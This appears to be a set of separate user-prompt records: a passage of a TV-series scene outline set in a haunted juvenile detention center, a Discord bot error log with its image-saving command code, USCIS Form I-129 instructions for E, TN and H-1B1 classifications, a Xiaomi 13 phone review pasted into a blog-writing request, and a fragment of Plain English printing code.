the end of the session, Chris introduces his idea of therapy journal videos, explaining that they can serve as a safe space for self-expression and a tool for personal growth. The group reacts with overwhelming skepticism and harsh dismissal, mocking the idea and scoffing at the notion of sharing their feelings on camera."\n10,INT. LOS PADRINOS - VARIOUS LOCATIONS - DAY,"Montage: The detainees awkwardly attempt their first therapy journal videos, showcasing their unique character traits while providing a comedic break and insights into their deeper emotions and challenges.","We see a montage of the detainees reluctantly attempting their first therapy journal videos. Each character is in a different location within Los Padrinos, seeking privacy for their video recordings.\n\nAlex struggles to find the right words, rolling her eyes as she tries to express her emotions on camera. Jasmine, sarcastic and defiant, complains about the therapy exercise and directs her aggression towards Chris for making her do this.\n\nCarlos is really on edge, constantly checking over his shoulder to make sure no one sees him doing this nonsense. He clocks someone just behind his lens: ""You got somethin to say, dog?""\n\nHeather sings a song. This is her comfort zone.\n\nEach character exhibits their own unique coping mechanisms and reactions to the therapy journal exercise, showcasing their vulnerability and reluctance to open up, and providing a comedic break while also offering glimpses into their deeper emotions and challenges."\n11,INT. LOS PADRINOS CAFETERIA - DAY,"Alex learns more about Los Padrinos\' dark past from another detainee, sparking her curiosity and determination to uncover the truth.","Alex sits in the bustling cafeteria, eating her meal while trying to process everything she\'s experienced so far. A fellow detainee, Mara, approaches and takes a seat next to her. Mara, who had been detained at Los Padrinos before its closure and recently returned after a three-year stint at another facility, shares her own experiences and deeper knowledge of the facility\'s dark past.\n\nMara talks about the mysterious disappearances, hauntings, and supernatural events that plagued Los Padrinos before its closure. As Alex listens, she becomes increasingly determined to get to the bottom of these stories and find out what happened to her sister Isela.\n\nThe conversation between Alex and Mara is interrupted by the sudden arrival of a few hostile detainees, who challenge Alex\'s presence and her motives for being at Los Padrinos. Alex stands her ground, asserting her place and showing that she\'s not someone to be messed with. The scene ends with Mara giving Alex an approving nod, signaling the beginning of a new alliance in their quest to uncover the truth."\n12,INT. LOS PADRINOS DETENTION CENTER - NIGHT,"A power outage creates an eerie atmosphere, during which Heather experiences a terrifying vision linked to the facility\'s dark past. It leaves the group unsettled, but finding protection in their company.","The detainees are settling in for the night when suddenly, a power outage plunges the facility into darkness. The atmosphere becomes eerie as unsettling whispers fill the air, and the temperature drops rapidly. Alex and her cellmates huddle together, feeling uneasy and fearful in the dark.\n\nDuring this event, Heather is visibly shaken and experiences a horrifying vision linked to Los Padrinos\' dark past. Her fellow detainees notice her distress, and gather around her.\n\nThe power is restored, but the atmosphere remains tense and unsettled. Heather shares her terrifying experience with the group, and they realize that the darkness they\'d heard about is darker than they could have imagined."\n13,INT. LOS PADRINOS - HIDDEN ROOM - DAY,"In a secret meeting, the detainees share their experiences with Los Padrinos\' dark forces. As mistrust lingers, they\'re interrupted by Director Evelyn, heightening tensions between detainees and staff.","Alex, Mara, Carlos, Heather, Pretzel, and Jasmine gather for a secret meeting in a hidden room, away from the watchful eyes of the facility\'s staff. Each person shares their experiences and encounters with the dark forces at Los Padrinos, but there\'s a clear sense of mistrust and wariness among them.\n\nMara, who has firsthand knowledge of Los Padrinos before it was shut down, shares the rumors she\'s heard. The others listen with a mix of skepticism and curiosity, unsure whether they can trust Mara\'s information or one another.\n\nAlex, driven by her determination to uncover the truth about her sister Isela, suggests they might need to work together to face the dark forces at play.\n\nJust as they begin to circle around a shared objective, the door to the hidden room bursts open, and the facility\'s director, Evelyn Bunker enters, accompanied by a guard. Her friendly façade has vanished, she\'s no longer on display, and the group of detainees is immediately on edge, realizing that they are not in safe hands here.\n\nWith their secret meeting exposed and Evelyn now the enemy, the tension between the detainees and the staff intensifies. They disperse, each one left to face the consequences of their actions."\n14,INT. LOS PADRINOS - INTERROGATION ROOM - DAY,"The main characters face discipline while being interrogated by the director, further exposing the tension between the inmates and the administration.","In a montage set in the director\'s interrogation room, each of the kids is put in the hot seat, one by one, with the director and other staff members present. As each character faces the consequences of their actions, tensions rise, and the administration\'s façade of safety and compassion begins to crumble.\n\nEach kid faces the consequences, with varying degrees of punishment and pressure. The characters\' reactions reveal aspects of their personalities, ranging from defiance to fear. Towards the end of the scene, the most defiant one, Jasmine, raises her voice in anger, challenging the director about the unexplainable eerie danger at Los Padrinos. She demands to know what the administration will do to keep them safe. This bold confrontation draws a line in the sand, forcing the administration to take a stance on the conditions at the facility."\n15,INT. LOS PADRINOS - INTERROGATION ROOM - DAY (FLASHBACK),"Alex\'s interrogation continues as she flashes back to her older sister being interrogated and abused by the past administrators in this very same room, years before.","The scene opens with a flashback to Isela, defiant and angry, facing a cruel punishment in the same interrogation room where the detainees had just been questioned. The room seems even more menacing and unforgiving during this flashback. Isela struggles, but her spirit remains unbroken.\n\nWe seamlessly merge the scene back to the present, where Alex intuitively feels Isela\'s suffering, her mind drifts back to a time before her sister was sent to Los Padrinos."\n16,EXT. ALEX\'S HOME - FRONT PORCH - DAY (FLASHBACK),"In a flashback, young Alex and Isela share a heartfelt moment. The flashback ends abruptly, returning to Alex in the interrogation room with Director Evelyn putting on a caring façade but subtly warning Alex not to disrupt the balance at Los Padrinos.","In this flashback, we see a younger Alex and Isela sharing a heartfelt moment on their front porch. Isela, sensing the challenges that lie ahead for her, gives Alex a piece of advice, creating a touching and emotional connection between the sisters.\n\nThe tender moment ends abruptly as we return to the interrogation room with Alex. She has drifted off in the moment, as Director Evelyn is cooling off, putting on a pretense of caring as she warns Alex subtly not to mess with the balance here."\n17,INT. LOS PADRINOS - COMMON ROOM - NIGHT,"Alex and Carlos share a heart-to-heart, sharing personal stories, building trust and understanding. Their connection deepens, but they are interrupted and disperse before they can be discovered.","Alex and Carlos find themselves alone in the dimly lit common room, seeking solace away from the intense atmosphere of the interrogation room. Hesitantly, they begin to share their personal stories and experiences with each other.\n\nAlex opens up about her sister Isela and her quest to uncover the truth about what happened to her at Los Padrinos. Carlos reveals his own struggles, feeling trapped in a cycle of crime and punishment, desperate for safety in his identity, and the weight of the judgment his family has placed on him.\n\nAs they talk, their conversation becomes increasingly honest and vulnerable. They find a connection in their shared experiences and begin to understand one another on a deeper level.\n\nTheir heart-to-heart is interrupted when they hear mysterious footsteps approaching, and they quickly disperse to avoid drawing attention."\n18,INT. LOS PADRINOS - THERAPY ROOM - DAY,"In the therapy room, the detainees share their stories, hinting at the strange occurrences at Los Padrinos. Chris encourages them to support each other, aware that there\'s more going on here than meets the eye.","The detainees gather in the therapy room for another group session with Chris. He notices the shift in the atmosphere, the tension between the detainees and the staff now palpable. Nevertheless, he attempts to steer the session towards open communication and growth.\n\nMara, hesitant at first, decides to share a fragment of her story, testing the waters and subtly alluding to the strange events that have been happening at Los Padrinos. The others in the group, including Alex and Carlos, begin to listen more intently, realizing that they might not be the only ones who have had strange encounters.\n\nChris picks up on the undercurrents in the conversation but doesn\'t push too hard, instead encouraging the group to be supportive of each other and to continue sharing their experiences. He\'s masking his awareness of the creepiness pervading the halls, but we can tell it\'s on his mind as the session disbands. He reminds them they need to record their next video journals. They groan at this assignment, but secretly they\'re kind of into it."' -'saved :graffx\\_ukrainska\\_mova\\_901f2c4a-2327-4a6d-906a-f1455ed28c90.png\npath: ./images/creations-everyday\nSaving image graffx\\_ukrainska\\_mova\\_901f2c4a-2327-4a6d-906a-f1455ed28c90.png\nsaved :graffx\\_shift\\_from\\_left-right\\_to\\_traditionalism\\_versus\\_progress\\_0f7b270d-f62a-44f4-96de-2c68d7975414.png\npath: ./images/creations-everyday\nSaving image graffx\\_shift\\_from\\_left-right\\_to\\_traditionalism\\_versus\\_progress\\_0f7b270d-f62a-44f4-96de-2c68d7975414.png\nsaved :graffx\\_who\\_was\\_the\\_first\\_the\\_egg\\_or\\_the\\_chiken\\_d1b1f5e9-d34e-4f01-87f5-892c65cdfd2b.png\npath: ./images/creations-everyday\nSaving image graffx\\_who\\_was\\_the\\_first\\_the\\_egg\\_or\\_the\\_chiken\\_d1b1f5e9-d34e-4f01-87f5-892c65cdfd2b.png\nDiscordAPIError[40060]: Interaction has already been acknowledged.\n at SequentialHandler.runRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:667:15)\n at process.processTicksAndRejections (node:internal/process/task\\_queues:95:5)\n at async SequentialHandler.queueRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:464:14)\n at async REST.request (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:910:22)\n at async ChatInputCommandInteraction.reply (/Users/graff/developr/DiscordBot3/node\\_modules/discord.js/src/structures/interfaces/InteractionResponses.js:111:5)\n at async Client. (/Users/graff/developr/DiscordBot3/bot.js:30:3) {\n requestBody: { files: [], json: { type: 4, data: [Object] } },\n rawError: {\n message: \'Interaction has already been acknowledged.\',\n code: 40060\n },\n code: 40060,\n status: 400,\n method: \'POST\',\n url: \'https://discord.com/api/v10/interactions/1065489810820706374/aW50ZXJhY3Rpb246MTA2NTQ4OTgxMDgyMDcwNjM3NDozU3M4Z2JvVVNxUkNod3htVVg2QmtpbGtuemRVcFZwN2hHMFhhbFAxWFVUenU1VFBPWkRDWG91ZWFncjd4M0ZNTTVRNjVVZXhCWURibzl3S1hoYlozeTdqMmZ5bGZZcExXa3Z1OG1meEJtd2w2R2ppWGd1Y2I5REpmeWVuUTNydw/callback\'\n}\nnode:events:491\n throw er; // Unhandled \'error\' event\n ^\n\nDiscordAPIError[40060]: Interaction has already been acknowledged.\n at SequentialHandler.runRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:667:15)\n at process.processTicksAndRejections (node:internal/process/task\\_queues:95:5)\n at async SequentialHandler.queueRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:464:14)\n at async REST.request (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:910:22)\n at async ChatInputCommandInteraction.reply (/Users/graff/developr/DiscordBot3/node\\_modules/discord.js/src/structures/interfaces/InteractionResponses.js:111:5)\n at async Client. (/Users/graff/developr/DiscordBot3/bot.js:33:3)\nEmitted \'error\' event on Client instance at:\n at emitUnhandledRejectionOrErr (node:events:394:10)\n at process.processTicksAndRejections (node:internal/process/task\\_queues:84:21) {\n requestBody: {\n files: [],\n json: {\n type: 4,\n data: {\n content: \'There was an error while executing this command!\',\n tts: false,\n nonce: undefined,\n embeds: undefined,\n components: undefined,\n username: undefined,\n avatar\\_url: undefined,\n allowed\\_mentions: undefined,\n flags: 64,\n message\\_reference: undefined,\n attachments: undefined,\n sticker\\_ids: undefined,\n thread\\_name: undefined\n }\n }\n },\n rawError: {\n message: \'Interaction has already been acknowledged.\',\n code: 40060\n },\n code: 40060,\n status: 400,\n method: \'POST\',\n url: \'https://discord.com/api/v10/interactions/1065489810820706374/aW50ZXJhY3Rpb246MTA2NTQ4OTgxMDgyMDcwNjM3NDozU3M4Z2JvVVNxUkNod3htVVg2QmtpbGtuemRVcFZwN2hHMFhhbFAxWFVUenU1VFBPWkRDWG91ZWFncjd4M0ZNTTVRNjVVZXhCWURibzl3S1hoYlozeTdqMmZ5bGZZcExXa3Z1OG1meEJtd2w2R2ppWGd1Y2I5REpmeWVuUTNydw/callback\'\n}\n :::::: const { SlashCommandBuilder } = require("discord.js");\nconst fs = require("fs");\nconst path = require("path");\nconst https = require("https");\nconst http = require("http");\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName("mjsave")\n .setDescription(\n "Saves \'amount\'(1) of images sent by the MidJourney Bot in the channel. (min.100Kb)"\n )\n .addIntegerOption((option) =>\n option\n .setName("amount")\n .setDescription("Number of images to save (default 1)")\n )\n .addIntegerOption((option) =>\n option\n .setName("min\\_size")\n .setDescription("Minimum size of attachments in KB (default 100KB)")\n ),\n async execute(interaction) {\n let amount = interaction.options.getInteger("amount");\n let minSize = interaction.options.getInteger("min\\_size") \\* 1000;\n\n if (!amount) {\n amount = 1;\n }\n if (!minSize) {\n minSize = 100000;\n }\n if (amount < 1 || amount > 99) {\n return interaction.reply({\n content: "You need to input a number between 1 and 99.",\n ephemeral: true,\n });\n }\n\n const allowedExtensions = [".jpg", ".jpeg", ".png", ".gif"];\n let savedImagesCount = 0;\n let currentMessageIndex = 0;\n while (savedImagesCount < amount) {\n const messages = await interaction.channel.messages.fetch({\n limit: amount - savedImagesCount,\n });\n const messagesArray = Array.from(messages.values());\n const messagesToProcess = messagesArray.slice(0, amount);\n //filter messages by the MidJourney Bot\'s user ID\n const mjMessages = messagesToProcess.filter(\n (message) => message.author.id === "936929561302675456"\n );\n for (const message of mjMessages) {\n if (message.attachments.size > 0) {\n const attachment = message.attachments.first();\n const fileName = attachment.name;\n const extension = path.extname(fileName).toLowerCase();\n if (!allowedExtensions.includes(extension)) {\n console.log(\n `Skipping file ${fileName} because it has an invalid extension.`\n );\n continue;\n }\n if (attachment.size < minSize) {\n console.log(\n `Skipping file ${fileName} because it has an invalid file size.`\n );\n }\n console.log("saved :" + fileName);\n // Saving the attachment\n const channelName = interaction.channel.name;\n const dir = `./images/${\n channelName ? channelName.replace(/[\\\\\\/:\\*?"<>|]/g, "") : "default"\n }`;\n console.log("path: " + dir);\n if (!fs.existsSync(dir)) {\n fs.mkdirSync(dir);\n console.log("folder created: " + dir);\n }\n\n const filePath = path.join(dir, fileName);\n const mod = attachment.url.startsWith("https") ? https : http;\n await new Promise((resolve, reject) => {\n mod.get(attachment.url, (response) => {\n response.pipe(fs.createWriteStream(filePath));\n console.log(`Saving image ${fileName}`);\n resolve();\n });\n });\n savedImagesCount++;\n if (savedImagesCount >= amount) {\n break;\n }\n }\n currentMessageIndex++;\n }\n }\n\n return interaction.reply({\n content: `Successfully saved ${savedImagesCount} images.`,\n ephemeral: true,\n });\n },\n};' -'Part 2. Petition Only Required for an Alien in the United States to Change Status or Extend Stay\nThe following classifications listed in this Part 2. do not require a petition for new employment if the alien is outside the\nUnited States.\nUse this Form I-129 when the beneficiary is physically present in the United States and a change of status, concurrent\nemployment, or an extension of stay is needed. Note: The beneficiary must be maintaining lawful status in the United\nStates to remain eligible for the benefit sought.\nE-1 Nonimmigrants\nThe E-1 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation, and\nwho are coming to the United States to carry on substantial trade principally between the United States and the\nalien’s country of nationality. The Department of State maintains a list of countries with qualifying treaties. See\nhttps://travel.state.gov/content/visas/en/fees/treaty.html for a list of qualifying countries.\nWrite E-1 in the classification block.\nQualifying trade involves the commercial exchange of goods or services in the international market place. Substantial\ntrade is an amount of trade sufficient to ensure continuous flow of international trade items between the United States and\nthe treaty country. Principal trade exists when more than 50 percent of the E-1’s total volume of international trade is\nconducted between United States and the treaty country.\nAn employee of an E-1 treaty trader who possesses the same nationality as the E-1 employer may also be classified as E-1.\nThe employee must principally and primarily perform executive or supervisory duties or possess special qualifications that\nare essential to the successful or efficient operation of the enterprise. The E-1 employee may perform work for the parent\ntreaty organization or enterprise, or any subsidiary of the parent organization or enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-1 treaty trader. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial Trade. Evidence of substantial trade may include, but is not limited to, copies of three or more of the\nfollowing: bills of lading, customs receipts, letter of credit, trade brochures, purchase orders, insurance papers,\ndocumenting commodities imported, carrier inventories, and/or sales contracts, or other probative documentation\nestablishing the requisite substantial trade; and\n3. For E-1 employees only: Executive or Supervisory Duties or special qualification essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nE-2 Nonimmigrants\nThe E-2 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation,\nand who are coming to the United States to develop and direct the operations of an enterprise in which the alien\nhas invested or is actively in the process of investing a substantial amount of capital. The Department of State\nmaintains a list of countries with qualifying treaties. See https://travel.state.gov/content/visas/en/fees/treaty.html\nfor a list of qualifying countries.\nWrite E-2 in the classification block.\nAn E-2 must demonstrate possession and control of capital and the ability to develop and direct the investment enterprise\nand the ability to develop and direct the investment enterprise. Capital in the process of being invested or that has been\ninvested must be placed at risk and be irrevocably committed to the enterprise. The enterprise must be a real, active, and\noperating commercial or entrepreneurial undertaking that produces services or goods for profit. The investment must be\nsubstantial and the funds must not have been obtained, directly or indirectly, from criminal activity. The enterprise must\nbe more than marginal.\nForm I-129 Instructions 11/02/22 Page 24 of 30\nAn employee of an E-2 who possesses the same nationality as the E-2 employer may also be classified as E-2. The\nemployee must principally and primarily perform executive or supervisory duties or possess special qualifications that are\nessential to the successful or efficient operation of the enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-2 treaty investor. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial investment. Such evidence may include, but is not limited to, copies of partnership agreements (with a\nstatement on proportionate ownership), articles of incorporation, payments for the rental of business premises or office\nequipment, business licenses, stock certificates, office inventories (goods and equipment purchased for the business),\ninsurance appraisals, annual reports, net worth statements from certified profession accountants, advertising invoices,\nbusiness bank accounts containing funds for routine operations, funds held in escrow; and\n3. For E-2 employees only: Executive or Supervisory Duties or special qualifications essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nAdvice on E-1 and E-2 petitions\nYou must obtain approval from USCIS when substantive changes occur in the terms or conditions of the status of the\ntreaty trader, investor, or E employee. To do this, file Form I-129 and E-1/E-2 Classification Supplement, with fee, and\nrequest an extension of stay.\nYou may seek advice from USCIS to determine whether changes in the terms or conditions in E status are substantive.\nTo obtain advice, file Form I-129 and E-1/E-2 Classification Supplement, with fee. Answer “Yes” to the question on the\nSupplement which asks whether you are seeking advice.\nFree Trade Nonimmigrants (H-1B1 and TNs)\nThe Free Trade Nonimmigrant classifications (H-1B1 and TN) are temporary nonimmigrant classifications based on the\nprovisions of a Free Trade Agreement between the United States and the alien’s country of citizenship. Currently there are\ntwo stand-alone Free Trade Nonimmigrant classifications available: TN and H-1B1.\nThe TN nonimmigrant classification is for aliens who are citizens of Canada or Mexico covered by the North\nAmerican Free Trade Agreement coming to the United States to engage temporarily in business activities at a\nprofessional level. Depending on the specific type of business activity, a TN must at least have a bachelor’s degree\nor, in certain limited instances, other appropriate credentials which demonstrate status as a professional. The\nacceptable types of TN business activities at a professional level are listed at 8 CFR 214.6(c).\nWrite TN in the classification block.\nDocumentary evidence must be submitted if the applicant is a citizen of Canada and is currently outside the United States\nOR if the applicant is a citizen of Canada or Mexico and is requesting a “Change of Status” to TN. The applicant must\nsubmit evidence demonstrating that he or she will be engaged in business activities at a professional level and that the\napplicant possesses the requisite professional qualifications. Acceptable evidence may include, but is not limited to, the\nfollowing:\n1. A letter from the employer stating the activity the beneficiary will be engaged in, the anticipated length of stay, and\nthe arrangements for remuneration;\n2. A copy of the beneficiary’s last two pay stubs and W-2 if employed in the United States; and\n3. Evidence the beneficiary meets the educational and/or licensing requirements for the profession or occupation.\nNOTE: While a petition is not required, citizens of Canada who are outside the United States may use this form to apply\nfor TN status.\nIf the applicant is a citizen of Canada or Mexico and is requesting an “Extension of Stay” in TN classification, submit\nevidence, such as a letter, describing the continuing employment and evidence of the beneficiary’s continued valid\nlicensing (if required by the profession and/or the state).\nForm I-129 Instructions 11/02/22 Page 25 of 30\nThe H-1B1 classification is for aliens from Chile or Singapore coming to the United States temporarily to perform\nservices in a specialty occupation. See the instructions for H-1B nonimmigrants for the definition of “specialty\noccupation.”\nWrite H-1B1 in the classification block.\nSubmit all evidence listed in the H Classification Supplement to Form I-129 under Section 1., Complete This Section If\nFiling for H-1B Classification, as well as evidence listed in the section of the instructions for H-1B specialty occupation\nclassification. The following supplements must be filed with the petition:\n1. Nonimmigrant Classification Based on a Trade Agreement Supplement; and\n2. H Classification Supplement; and\n3. H-1B Data Collection and Filing Fee Exemption Supplement.\nIf requesting an “Extension of Stay,” submit evidence, such as a letter describing the continuing employment, as well\nas evidence of the beneficiary’s continued valid licensing (if required by the profession and/or the state). Also, if this\nextension is the 6th consecutive extension requested for this beneficiary, a statement to that effect should be provided.\nChange of Status\nA petition for change of status to one of the classifications described in this section must be submitted with the initial\nevidence detailed above and with the initial evidence required by the separate instructions for all petitions involving\nchange of status.\nExtension of Stay\nA petition requesting an extension of stay for an employee in the United States must be filed with a copy of the\nbeneficiary’s Form I-94, Nonimmigrant Arrival/Departure Record, and a letter from the petitioner explaining the reasons\nfor the extension. Consult the regulations that relate to the specific nonimmigrant classification sought.\nNOTE: Dependent family members should use Form I-539 to file for an extension of stay.\nA nonimmigrant who must have a passport to be admitted must maintain a valid passport during his or her entire stay. If\na required passport is not valid, include a full explanation with your petition. A petition requesting an extension must be\nfiled with:\n1. The appropriate supplements for the classification;\n2. A letter describing the proffered employment;\n3. A copy of the beneficiary’s last 2 pay stubs and most recent W-2, if applicable;\n4. Evidence the beneficiary continues to meet the licensing requirements for the profession or occupation, if applicable;\n5. If requesting an extension of H-1B status (including H1B1 Chile/Singapore), evidence that the Department of Labor\nhas certified a labor condition application for the specialty occupation which is valid for the period of time requested;\n6. If requesting H-2A status, submit a U.S. Department of Labor approved temporary labor certification valid for\nthe dates of the extension, unless it is based on a continuation of previously approved employment due to exigent\ncircumstances and the extension will last no longer than 2 weeks;\n7. If requesting H-2B status, submit a U.S. Department of Labor approved temporary labor certification valid for the\ndates of extension.' -'Read this phone review in its entirety and then write me a blog section on the Xiaomi 13 Design Features and Build Quality:\n\nXiaomi 13 Full Review: The Art of Balance\nByPaco Zheng -Dec 20, 2022\nFacebookTwitterLinkedinReddIt\n\nBefore we start the unboxing, I will tell you the final conclusion right now: I love this phone. And the Xiaomi 13 Standard Edition is the most satisfying Xiaomi phone I’ve ever had. For most people, it is also the best Xiaomi phone to buy. I even think it has more appeal than the Xiaomi 12S Ultra and 13 Pro.\n\nIf you’re willing to listen to why I like the Xiaomi 13 so much, then I’d be happy to tell you what’s so great about it.\nDESIGN\nNow phones have been put in more and more stuff, the body has to be bigger and bigger. The largest regular phone has reached 7-inches, if you count the foldable phone then the number will be even like 8 inches. I often miss the old days when the phone could be controlled with one hand. When the mobile phone becomes no longer mobile, then more features also become meaningless. It’s embarrassing to think that it’s difficult to find a small-sized phone these days. It’s especially hard when you’re also trying to find a flagship small phone that doesn’t have shortcomings. I’ve put together the numbers of a few compact phones that look good right now, and blue one is their cons. It’s easy to see that the Xiaomi 13 really has no shortcomings. It’s a bigger phone than the other phones, even a little bigger than the Xiaomi 12. But it perfectly balances size and functionality. That’s the main reason why I like the Xiaomi 13: phones that are better than it, aren’t as small as it. Phones that are smaller than it, not as well as it.\nWhy would I choose white over blue vegan leather. Look at my Xiaomi 12S Ultra that I’ve been using for less than six months. Maybe the footage isn’t visible enough. The leather texture in the four corners has been smoothed out. If you don’t want your phone to look like this, then get the glass version. Because of the small size and light weight, fingerprints are more downward, but does not affect the feel much when holding it.\n\nIn the unboxing video for the Xiaomi 13 series, some viewers guessed that it was still USB 2.0. Congratulations, you guessed right. This is the nightmare for Xiaomi users the whole life.\nLike you guys, I think the Xiaomi 13 must have referenced the iPhone and Samsung. You can say the Xiaomi is copycat, but I don’t think it’s ugly, I even think it’s kind of pretty. Especially the screen. When you light up the screen, you can feel the beauty of it without me saying anything more. The screen, which is almost equal in width on all four sides, puts me in a happy mood every time I use the phone. If there is no front camera, I think it is the best looking screen in the world.\n\nSome people will ask: why don’t you buy Samsung S22? Haha, see Snapdragon 8 Gen 1, do you think I still want to buy it? In addition to the excellent bezel width, other specs are also very powerful. This Samsung E6 panel ensures high brightness while DC dimming is not missing. Adaptive colors, or “True Tone” on the iPhone, are also available. Some people complain that the standard version doesn’t have 2K resolution, but the Xiaomi 13 the display DPI is actually 414, which is sharper than most FHD+ phones. Using 2K resolution on a small phone can also bring down battery life, so the display is really good for just the right amount of time.\n\nPERFORMANCE & GAMING\nSnapdragon 8 Gen 2, LPDDR5X and UFS 4.0, the latest chips are of course there. The throttling test also shows that it can keep the performance stable for a long time, so it seems that the 8 Gen 2 has really improved a lot.\nSmaller phones are usually not very good at gaming because of their size limits. But the Xiaomi 13 is an exception. Maybe it’s the new 8 Gen 2 that’s so great, or maybe the cooling system is so nice. Anyway, it does well in Genshin Impact, running around Sumeru can’t stress it out anymore. There were lags during the game, all caused by loading textures. To test how long it takes for Xiaomi 13 to overheat, I followed it up with 25 minutes on Spiral Abyss floor 12, and it still held up. Oh, and the frame drops in the middle were caused by loading, not lagging. The temperature after 45 minutes of intense gaming is also only 45°C.\n\nAll in all, it has no problem handling games. But I still don’t recommend it for long term gaming, because the screen is really small. If you have big hands, it will be more difficult to play.\n\nCompared to the Pro version, the standard version seems to have a less surprising camera system. It does have an average camera performance, but because of this 75mm telephoto lens, it stands out from the crowd of small sized phones. The reason I used to have to use big and heavy flagship phones is that I love telephoto lenses. And most of my photography is taken with telephoto. Now that the Xiaomi 13 also has a 3.2x telephoto and is equipped with OIS, then I can use it with no worries. But don’t get me wrong, I mean an extra telephoto will allow you to compose more angles compared to other compact phones. But the image quality is definitely not as good as flagship phones.\n\nWhen the light is bad, as long as you zoom in on the picture, there is very little detail and all are sharpening traces. Just like the S22, it really can’t put a bigger sensor. So let’s give it a pass.\n\nCAMERA\n\nCompared to the Xiaomi 12S, the 13’s main camera is a step backwards. Although the sensor is smaller, the performance is not much of a step back. Most of the performance is okay, both day and night. I only have two complaints, one is the purple-fringing issue, which is not very well controlled. Another is that the color is a bit strange. Even though we were using the Leica Vibrant mode, the colors were always very dull. The too-intense colors look even worse in the samples taken on cloudy days. These two problems are even worse on the ultra-wide camera. So I’m actually not satisfied with the ultra-wide camera.\n\nBut then again, if I am given two options, a telephoto plus a good main camera, or a very good main camera plus a macro lens, I would definitely choose the former. Users of smaller phones must know what they need, because most of the time they are not able to have both.\n\nYou should not expect anything from the Xiaomi phone front camera. Except for the Civi series, they all perform pretty much the same. Although the photos look good and rich in detail. But the video performance is really not good. Not only is the 4k resolution missing, but it doesn’t even support 60fps. If you pay more attention to the recording of the front camera, then we recommend you to buy other phones.\n\nAll three lenses support different recording specs. The main camera supports up to 8k 24fps and OIS+EIS. the footage also looks the best, stable and clear. The ultra-wide camera supports up to 4k 30fps, which is also good. But the picture does not look so clear. The telephoto camera supports up to 1080P 60fps. only in 1080P 30fps can switch the lens during recording.\n\nBATTERY & CHARGING\n\n67w fast charging and 4500mAh battery, does it sound familiar? Yes, this classic combination is once again found in the Xiaomi 13. I have no complaints about the charging power, 67w is also fast and there is also 50w wireless charging. Plugged in and fully charged in just 41 minutes.\n\n4500mAh is big for a phone of this size, and in actual use it feels about the same as my 12S Ultra, which lasts 5 to 6 hours. Because of the new processor being more power efficient and the smaller screen, it already lasts about the same amount of time as many 6.8 inch phones. One less factor to stop you from buying a smaller phone, isn’t it?\nAfter a few days of use, MIUI 14 has no lags or bugs. Their claim of improving the smoothness of the new system seems to be working so far. No matter how fast your operation is, it doesn’t lag. I don’t know if older Xiaomi phones will be smoother with the MIUI 14 upgrade, but at least with my Xiaomi 13, MIUI 14 is definitely smooth enough.\n\nThere are relatively few new features in 14, one of which is the new icon customization feature. Some icons can change shape, but some can’t. The new folders also open the applications inside of it from the outside. Obviously, MIUI 14 also borrows some features from other systems. But it doesn’t matter to consumers, as long as it works, it’s fine. The biggest upgrade of MIUI 14 should still be this: you can delete most of the system applications. Those apps that you never use can finally be uninstalled. Even the album, weather, can be uninstalled. You can keep only 8 apps, it’s very crazy for MIUI.\nWhen Xiaomi 13 was released, I was very happy because Xiaomi almost created my dream phone. It fits my hand perfectly and didn’t lose important features. Especially the screen, until the S23 was released, I thought the Xiaomi 13 was the best small size flagship in Android. I will also keep my SIM card in this phone all the time, waiting for the next phone to come along that will fascinate me so much.\n\nTAGSXiaomiXiaomi 13Xiaomi 13 Pro' -'Lines 334-578 of the noodle:\n```\nTo beep: \nCall "user32.dll" "MessageBeep" with 0.\n\nTo begin a landscape sheet:\nMake the landscape sheet 11 inches by 8-1/2 inches.\nBegin a sheet with the landscape sheet.\n\nTo begin a landscape sheet given a title string:\nIf the pdf document flag is not set, clear the landscape sheet; exit.\nMake the landscape sheet 11 inches by 8-1/2 inches.\nBegin the sheet given the box and the title (pdf style).\n\nTo begin a portrait sheet:\nMake the portrait sheet 8-1/2 inches by 11 inches.\nBegin a sheet with the portrait sheet.\n\nTo begin a portrait sheet given a title string:\nIf the pdf document flag is not set, clear the portrait sheet; exit.\nMake the portrait sheet 8-1/2 inches by 11 inches.\nBegin the sheet given the box and the title (pdf style).\n\nTo begin printing:\nInitialize the printer canvas.\nPut a docinfo\'s magnitude into the docinfo\'s cbsize.\nPut the module\'s name\'s first into the docinfo\'s lpszdocname.\nCall "gdi32.dll" "StartDocA" with the printer canvas and the docinfo\'s whereabouts.\n\nTo begin printing a pdf:\nSet the pdf state\'s document flag.\nPut 0 into the pdf state\'s object number.\nCreate the pdf state\'s font index given 113.\nBegin printing the pdf (start the root).\nBegin printing the pdf (start the parent).\n\nTo begin printing a pdf (start the parent):\nAdd a parent pdf object given "parent".\nPut the parent into the pdf state\'s parent.\nAppend the parent\'s number then " 0 obj" to the parent.\nAppend "<<" to the parent.\nAppend "/Type /Pages" to the parent.\n\nTo begin printing a pdf (start the root):\nAdd a root pdf object given "root".\nPut the root into the pdf state\'s root.\nAppend the root\'s number then " 0 obj" to the root.\nAppend "<<" to the root.\nAppend "/Type /Catalog" to the root.\n\nTo begin a sheet:\nBegin the sheet as a portrait sheet.\n\nTo begin a 